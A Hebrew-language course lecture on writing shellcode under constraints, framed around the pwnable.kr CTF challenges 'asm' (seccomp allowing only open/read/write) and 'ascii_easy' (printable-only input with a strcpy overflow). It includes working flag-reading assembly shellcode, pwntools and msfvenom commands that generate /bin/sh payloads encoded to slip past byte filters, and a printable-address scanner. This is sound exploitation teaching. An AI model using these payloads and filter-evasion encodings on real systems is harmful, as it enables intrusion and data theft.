לדלג לתוכן

3.3 shellcode מוגבל הרצאה

בשני השיעורים הקודמים כתבנו shellcode ידני והרצנו אותו באזור זיכרון חופשי בלי NX. שם היה לנו מותר הכל: כל בית, כל קריאת מערכת, כל הוראה. בעולם האמיתי זה כמעט לא קורה. כמעט תמיד יש מגבלה שמפריעה, ו-shellcode "רגיל" פשוט לא ירוץ. בשיעור הזה נלמד להתמודד עם שני סוגי המגבלות הנפוצים ביותר, ושניהם מגובים באתגר אמיתי ב-pwnable.kr: מגבלה על קריאות המערכת המותרות (אתגר asm), ומגבלה על הבתים המותרים בקלט (אתגר ascii_easy).

הרעיון המרכזי לא משתנה: אנחנו עדיין מזריקים קוד מכונה ורוצים שהוא ירוץ. מה שמשתנה הוא שעכשיו הקוד שלנו חייב לחיות בתוך קופסה צרה - או שמותר לו לקרוא רק לחלק מהקריאות, או שמותר לו להיות בנוי רק מחלק מהבתים. נראה איך בונים shellcode שגם עובד וגם נכנס בתוך הקופסה.

שני סוגי הגבלה - two kinds of constraints

לפני שנצלול, בואו נמפה את השטח. כשאומרים "shellcode מוגבל", מתכוונים כמעט תמיד לאחד משני מצבים:

+-------------------------------+--------------------------------+
| syscall restriction           | byte restriction                |
| (sandbox / seccomp)           | (input filter)                 |
+-------------------------------+--------------------------------+
| you may write any byte you    | you may use any syscall,       |
| want, but some syscalls are   | but only some bytes pass       |
| blocked.                      | through.                       |
| execve is blocked -> no shell,| e.g. only printable chars      |
| you need to read the flag     | 0x20-0x7e, so half the         |
| yourself with open/read/write.| instructions are invalid, and  |
|                                | even addresses are restricted. |
+-------------------------------+--------------------------------+
| example challenge: asm        | example challenge: ascii_easy   |
+-------------------------------+--------------------------------+

שימו לב שאלה שתי הגבלות בלתי תלויות. אפשר להיתקל בכל אחת מהן בנפרד, ולפעמים בשתיהן יחד. נטפל בכל אחת בתורה, ובסוף נבין איך הן משתלבות.

ארגז חול של קריאות מערכת - seccomp

המגבלה הראשונה היא ארגז חול (sandbox). המנגנון הנפוץ בלינוקס נקרא seccomp (קיצור של secure computing). ברגע שתהליך מפעיל seccomp במצב filter, הוא מתקין מסנן קטן בשפת BPF שרץ בkernel לפני כל קריאת מערכת. המסנן מסתכל על מספר הקריאה (וב-seccomp אפשר גם על הארגומנטים) ומחליט: להתיר, לחסום, או להרוג את התהליך.

הדפוס הקלאסי, וזה בדיוק מה שאתגר asm עושה, הוא מדיניות ברירת מחדל של הריגה, ואז רשימת היתר קצרה:

scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);   // default: kill the process
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open),  0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read),  0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit),  0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx);

המשמעות דרמטית: execve נמצא ברשימת ההריגה. אם ה-shellcode שלנו ינסה execve("/bin/sh", ...), הkernel יהרוג את התהליך מיד, עוד לפני שה-shell נפתח. כל הטריק שלמדנו בשיעור 3.1 - לפתוח shell עם execve - פשוט מת כאן.

             syscall from the shellcode
                        |
                        v
              +--------------------+
              |  the seccomp filter |
              +--------------------+
               /      |       \
   open/read/write  exit      execve, mmap, ...
    allowed        allowed     -> SCMP_ACT_KILL (the process dies)

מיפוי המסנן - seccomp-tools

לפני שכותבים shellcode בכלל, חייבים לדעת מה מותר. הכלי הסטנדרטי לזה הוא seccomp-tools. הוא טוען את הבינארי, מזהה את המסנן, ומדפיס אותו בצורה קריאה:

gem install seccomp-tools
seccomp-tools dump ./asm

הפלט מראה בדיוק את המדיניות: אילו קריאות מותרות ומה קורה לשאר. דוגמה לפלט טיפוסי:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 ...
 0006: 0x15 0x00 0x01 0x00000002  if (A != open)  goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 ...
 0014: 0x06 0x00 0x00 0x00000000  return KILL

מהפלט הזה אנחנו מסיקים את התוכנית: כיוון ש-execve חסום אבל open, read ו-write מותרים, במקום לפתוח shell נעשה את העבודה בעצמנו. נפתח את קובץ הדגל, נקרא אותו לbuffer, ונדפיס אותו החוצה. בדיוק מה שהיה ה-shell עושה, רק שאנחנו כותבים את זה כ-shellcode.

קריאה עצמית של הדגל - open/read/write

זו התבנית שתלווה אתכם בכל אתגר עם seccomp. שלוש קריאות מערכת, בשרשרת:

open("<path-to-flag>", O_RDONLY)   ->  rax = fd
read(fd, buf, N)                   ->  rax = how many bytes were read
write(1, buf, N)                   ->  prints to the screen (stdout)
exit(0)

הנה מספרי הקריאה ב-x86-64, כי בלעדיהם אין לנו כלום:

syscall   number (rax)   arguments
open      2              rdi=path, rsi=flags, rdx=mode
read      0              rdi=fd,   rsi=buf,   rdx=count
write     1              rdi=fd,   rsi=buf,   rdx=count
exit      60             rdi=code
execve    59             blocked by the sandbox

עכשיו נכתוב את זה ידנית. נניח שהדגל נמצא בקובץ בשם flag.txt בתיקייה הנוכחית (בהמשך, בפתרון, נשתמש בנתיב האמיתי והארוך של האתגר). נבנה את שם הקובץ על המחסנית בדיוק כמו שבנינו את "/bin//sh" בשיעור 3.1:

_start:
    ; --- open("flag.txt", O_RDONLY) ---
    xor  rdx, rdx                 ; mode = 0
    push rdx                      ; pushes a zero qword -> terminates the string
    mov  rbx, 0x7478742e67616c66  ; "flag.txt" in little-endian encoding
    push rbx
    mov  rdi, rsp                 ; rdi -> "flag.txt"  (argument 1)
    xor  rsi, rsi                 ; rsi = 0 = O_RDONLY  (argument 2)
    xor  rax, rax
    mov  al, 2                    ; rax = 2 = SYS_open
    syscall                       ; rax = fd

    ; --- read(fd, rsp-0x100, 0x100) ---
    mov  rdi, rax                 ; rdi = fd
    mov  rsi, rsp
    sub  rsi, 0x100               ; buffer below the stack
    mov  rdx, 0x100               ; up to 256 bytes
    xor  rax, rax                 ; rax = 0 = SYS_read
    syscall                       ; rax = how many bytes were read

    ; --- write(1, buf, n) ---
    mov  rdx, rax                 ; count = what we read
    mov  rsi, rsp
    sub  rsi, 0x100
    xor  rdi, rdi
    mov  dil, 1                   ; rdi = 1 = stdout
    xor  rax, rax
    mov  al, 1                    ; rax = 1 = SYS_write
    syscall

    ; --- exit(0) ---
    xor  rdi, rdi
    xor  rax, rax
    mov  al, 60                   ; rax = 60 = SYS_exit
    syscall

נקודה חשובה שמבדילה בין שני האתגרים: כאן מותר לנו להשתמש בבתים אפס. למה? כי אתגר asm קורא את ה-shellcode דרך read(0, buf, 1000) ולא דרך פונקציית מחרוזת כמו strcpy. read מעתיק את מספר הבתים המדויק שביקשנו, בלי לעצור באפס. לכן הוראות כמו sub rsi, 0x100 (שמכילות בתי אפס בקידוד) הן בסדר גמור. זכרו את ההבדל הזה: מגבלת ה-sandbox היא על מה שמותר לקוד לעשות, לא על אילו בתים מותר לו להיות בנוי מהם.

בנייה עם pwntools - shellcraft

לכתוב בעל פה open/read/write עם נתיב ארוך זה מתכון לטעויות. pwntools יודע לייצר לנו את שלוש הקריאות עם המודול shellcraft, כולל דחיפת מחרוזת ארוכה לגמרי:

from pwn import *

context.arch = 'amd64'
context.os   = 'linux'

path = 'flag.txt'                       # in practice, the challenge's long path

sc  = shellcraft.open(path)             # opens the file, fd is returned in rax
sc += shellcraft.read('rax', 'rsp', 0x100)   # reads from fd (rax) into rsp
sc += shellcraft.write(1, 'rsp', 0x100)      # prints to stdout
sc += shellcraft.exit(0)

payload = asm(sc)
print(len(payload), 'bytes')
print(disasm(payload))

שימו לב שאחרי shellcraft.open הערך ב-rax הוא ה-fd, ולכן shellcraft.read('rax', ...) פשוט משתמש בו ישירות. זה מקצר לנו את הקוד.

אזהרה שחוסכת שעה של תסכול: יש ב-shellcraft קיצורי דרך נוחים כמו shellcraft.cat(path), אבל חלק מהם ממומשים עם sendfile במקום עם write. תחת ה-sandbox של asm, sendfile אינו ברשימת ההיתר - אז הקיצור הנוח יגרום להריגת התהליך. תמיד בדקו איזה קריאות מערכת הקוד שלכם באמת מבצע (disasm על התוצאה) והשוו לרשימה שקיבלתם מ-seccomp-tools. תחת sandbox, נוחות פחות חשובה מהתאמה לרשימת ההיתר.

כשמסננים את הבתים - filtered input

עכשיו למגבלה מהסוג השני, וכאן נכנס ascii_easy. הפעם אין sandbox, מותר כל קריאת מערכת. הבעיה היא הפוכה: התוכנית מסננת את הקלט ומרשה רק בתים מסוימים. באתגר ascii_easy הבדיקה היא:

int is_ascii(int c){
    if(c >= 0x20 && c <= 0x7f) return 1;   // printable characters only
    return 0;
}

כל בית בקלט שלנו חייב להיות בטווח 0x20 עד 0x7f (בפועל אנחנו נשארים ב-0x20-0x7e, כדי להימנע מ-DEL). כל בית מחוץ לטווח - והתוכנית פוסלת את הקלט כולו. למה זה הורג shellcode רגיל? כי רוב ההוראות השימושיות מקודדות עם בתים שאינם מודפסים:

instruction        bytes           printable?
syscall            0f 05           no (0x0f, 0x05)
int 0x80           cd 80           no (0xcd, 0x80)
xor eax, eax       31 c0           no (0xc0)
mov rbx, imm64     48 bb ...       no (0x48 = 'H' printable, but 0xbb is not)
push rbp           55              yes! (0x55 = 'U')
pop  eax           58              yes! (0x58 = 'X')

כלומר, אנחנו כלואים בתת-קבוצה קטנה של הוראות. אי אפשר סתם לכתוב syscall - הבית 0x0f פסול. צריך לבנות את ה-shellcode כולו מהוראות שהקידוד שלהן מודפס, וזה נושא בפני עצמו: קידוד shellcode אלפאנומרי.

קידוד מודפס ואלפאנומרי - printable shellcode

הרעיון: אמנם רק חלק מההוראות מקודדות בבתים מודפסים, אבל התת-קבוצה הזאת עדיין שלמה מבחינה חישובית - אפשר לבנות ממנה כל דבר. אלה כמה מ"אבני הבניין" המודפסות שיש לנו:

byte range   instructions
0x30-0x35    xor  (with printable operands)
0x40-0x47    inc  eax..edi
0x48-0x4f    dec  eax..edi
0x50-0x57    push eax..edi
0x58-0x5f    pop  eax..edi
0x60         pusha            0x61  popa
0x68 / 0x6a  push imm32 / imm8
0x25 / 0x2d  and eax,imm / sub eax,imm

הטריק המרכזי נקרא decoder stub. במקום לנסות לכתוב את ה-shellcode האמיתי בבתים מודפסים (כמעט בלתי אפשרי), עושים כך:

  1. כותבים "מפענח" קטנטן שכולו בנוי מבתים מודפסים.
  2. אחרי המפענח שמים את ה-shellcode האמיתי בצורה מקודדת - גם הוא רק בבתים מודפסים.
  3. בזמן ריצה, המפענח בונה מחדש את ה-shellcode האמיתי בזיכרון (למשל עם שרשרת של sub/xor/push שמרכיבים בית-בית את הערכים הנכונים), ואז קופץ אליו.

הקסם: את המפענח בונים כך שיֵשב על המחסנית וישכתב את עצמו, כשכל הבתים שהוקלדנו מודפסים, אבל התוצאה שהוא מייצר בזמן ריצה כבר לא חייבת להיות מודפסת. זה עוקף את הפילטר, כי הפילטר בודק רק את מה שהוקלד, לא את מה שנוצר תוך כדי ריצה.

בפועל לא כותבים את המפענח ביד. יש כלים בשלים:

from pwn import *

context.arch = 'i386'
raw = asm(shellcraft.sh())                          # regular shellcode (with non-printable bytes)
enc = encoders.i386.ascii_shellcode.encode(raw)     # encodes to printable alphanumeric
assert all(0x20 <= b <= 0x7e for b in enc), 'there is still a non-printable byte!'
print(enc)

הספרייה pwntools כוללת את encoders.i386.ascii_shellcode, שבונה בשבילכם decoder stub מודפס ומצרף אליו את ה-shellcode המקודד. שתי חלופות מקצועיות ומוכרות:

# msfvenom with the alpha_mixed encoder
msfvenom -p linux/x86/exec CMD=/bin/sh -e x86/alpha_mixed -f raw -o sc.bin

# the ALPHA3 tool encodes any shellcode to pure alphanumeric
python2 ALPHA3.py x86 ascii mixedcase EAX --input=sc.bin

שני דברים שחייבים לזכור כשמשתמשים ב-decoder stub:

  • למפענח צריך רגיסטר שמצביע לתחילת ה-shellcode (בעיית GetPC). המקדדים מבקשים שתגידו להם איזה רגיסטר כבר מצביע לשם (למשל EAX), אחרת הם לא יודעים איפה לשכתב.
  • ה-shellcode נבנה בזמן ריצה על המחסנית ורץ ממנה, אז זה מניח שה-NX כבוי או שהמחסנית ניתנת להרצה. אם NX פעיל, קידוד אלפאנומרי לבדו לא יספיק - נצטרך לשלב את זה עם טכניקות של פרק 4.

כשגם הכתובת חייבת להיות מודפסת - printable addresses

יש עוד עדינות באתגר ascii_easy, ולמעשה זה הלב שלו. החולשה שם היא buffer overflow קלאסית: strcpy(buf, argv[1]) לתוך buffer קטן על המחסנית. אנחנו דורסים את הreturn address - אבל גם ארבעת הבתים של הreturn address חייבים להיות מודפסים, כי הם חלק מהקלט שעובר את הפילטר.

זו הגבלה קשה. באיזו כתובת מותר לנו לקפוץ? רק לכתובת שכל ארבעת הבתים שלה בטווח 0x20-0x7e. בבינארי 32 ביט, כתובת נכתבת little-endian, אז נבחן את הבתים:

address 0x55552020  ->  little-endian:  20 20 55 55
                       0x20 printable, 0x20 printable, 0x55='U', 0x55='U'   -> valid!

address 0x5555e000  ->  little-endian:  00 e0 55 55
                       0x00 not printable, 0xe0 not printable              -> invalid!

עכשיו נכנס הפרט הקריטי של ascii_easy: הבינארי טוען ספרייה משותפת בכתובת קבועה (בסביבות 0x5555e000), בלי שה-ASLR מזיז אותה. כלומר, יש בזיכרון בלוק גדול של קוד שהכתובות שלו ידועות מראש וקבועות. חלק מהכתובות בבלוק הזה הן מודפסות (כמו 0x55552020 שראינו), וחלק מהבתים שיושבים בכתובות האלה יכולים להיות שימושיים לנו.

האסטרטגיה, אם כן:

high addresses
+---------------------------+
| return address             |  <-- overwritten with a printable address that points to useful code
+---------------------------+     (all 4 bytes in the range 0x20-0x7e)
| saved ebp                 |
+---------------------------+
| char buf[...]             |  <-- filled with 'A' (0x41, printable)
+---------------------------+
low addresses

ומה זה "קוד שימושי" באותה כתובת מודפסת? שתי אפשרויות:

  1. רצף בתים בתוך הספרייה הממופה שכשמריצים אותו הוא מתפקד כ-shellcode שקורא את הדגל (open/read/write), או שהוא גאדג'ט שמעביר את הביצוע לbuffer שאנחנו שולטים בו.
  2. מחרוזת של גאדג'טים בסגנון ROP, כשכל return address בchain היא בעצמה מודפסת.

איך מוצאים כתובת כזאת? סורקים את הספרייה הממופה בעצמנו. הנה שלד של סורק ב-Python שעובר על קובץ הספרייה, מחשב את הכתובת המוחלטת של כל היסט (BASE + offset), ובודק אם היא מודפסת:

BASE = 0x5555e000
lib  = open('libc_mapped.so', 'rb').read()

def printable_addr(a):
    return all(0x20 <= b <= 0x7e for b in a.to_bytes(4, 'little'))

for off in range(len(lib)):
    va = BASE + off
    if printable_addr(va):
        # here we check whether the bytes at off form a useful gadget/shellcode
        # (e.g. disassemble them with capstone and look for open/read/write or jmp esp)
        pass

בפועל משלבים את הסורק עם capstone או ROPgadget כדי לסנן רק כתובות מודפסות שמצביעות לגאדג'ט שאנחנו רוצים. ברגע שיש כתובת כזאת, שמים אותה בהreturn address - וכל הקלט נשאר מודפס.

הנחות ההגנה - protection assumptions

כמו תמיד, כל טכניקה עובדת רק תחת הנחות מסוימות. נסכם אותן במפורש לשני האתגרים:

challenge asm:
  - RWX page mapped at a fixed address (0x41414000), the code runs from there. NX is not relevant.
  - seccomp active: only open/read/write/exit allowed. execve kills the process.
  - input is read with read() -> zero bytes allowed, no byte restriction.
  -> solution: shellcode that does open/read/write on the flag file.

challenge ascii_easy:
  - 32-bit binary, strcpy overflow on the stack.
  - filter: every byte in the input must be 0x20-0x7e (printable).
  - library mapped at a fixed address -> addresses known in advance (ASLR doesn't move it).
  -> solution: a printable return address pointing to useful bytes in the library,
     and if needed, alphanumeric-encoded shellcode. if NX is off, shellcode on the stack also works.

הדבר הכי חשוב לקחת מכאן: shellcode לא חייב להיות "טהור". הוא חייב לעמוד במגבלות של היעד. לפעמים המגבלה היא על קריאות המערכת, ואז משנים את מה שהקוד עושה (במקום execve, קוראים את הדגל לבד). לפעמים המגבלה היא על הבתים, ואז משנים את איך הקוד מקודד (אלפאנומרי, כתובות מודפסות). כמעט תמיד המגבלה פותרת רק חלק מהבעיה בשבילכם - אתם משלימים את השאר.

סיכום

  • המונח shellcode מוגבל מתאר shellcode שחייב לחיות בתוך אילוץ. שני האילוצים הנפוצים: הגבלת קריאות מערכת (sandbox) והגבלת בתים בקלט (filter).
  • ארגז חול של seccomp מתקין מסנן BPF בkernel שחוסם קריאות מערכת. הדפוס הקלאסי: ברירת מחדל של הריגה ורשימת היתר קצרה. ממפים אותו עם seccomp-tools dump.
  • כש-execve חסום, קוראים את הדגל לבד עם שרשרת open -> read -> write -> exit. ב-x86-64: מספרי הקריאה 2, 0, 1, 60.
  • באתגר asm הקלט נקרא עם read(), אז בתי אפס מותרים, והעמוד RWX, אז NX לא מפריע. בונים עם shellcraft, אבל נזהרים מקיצורים שמשתמשים בקריאות חסומות (כמו sendfile).
  • כשהקלט מסונן לבתים מודפסים בלבד (ascii_easy), רוב ההוראות פסולות. בונים shellcode אלפאנומרי עם decoder stub מודפס - עם encoders.i386.ascii_shellcode של pwntools, msfvenom -e x86/alpha_mixed, או ALPHA3.
  • גם הreturn address חייבת להיות מודפסת. מנצלים ספרייה שממופה בכתובת קבועה, סורקים אותה למציאת כתובת מודפסת שמצביעה לקוד שימושי, ומכוונים אליה את הreturn address.
  • הרעיון הגדול: shellcode לא חייב להיות מושלם, הוא חייב להתאים למגבלה. משנים או את מה שהקוד עושה, או את איך הוא מקודד.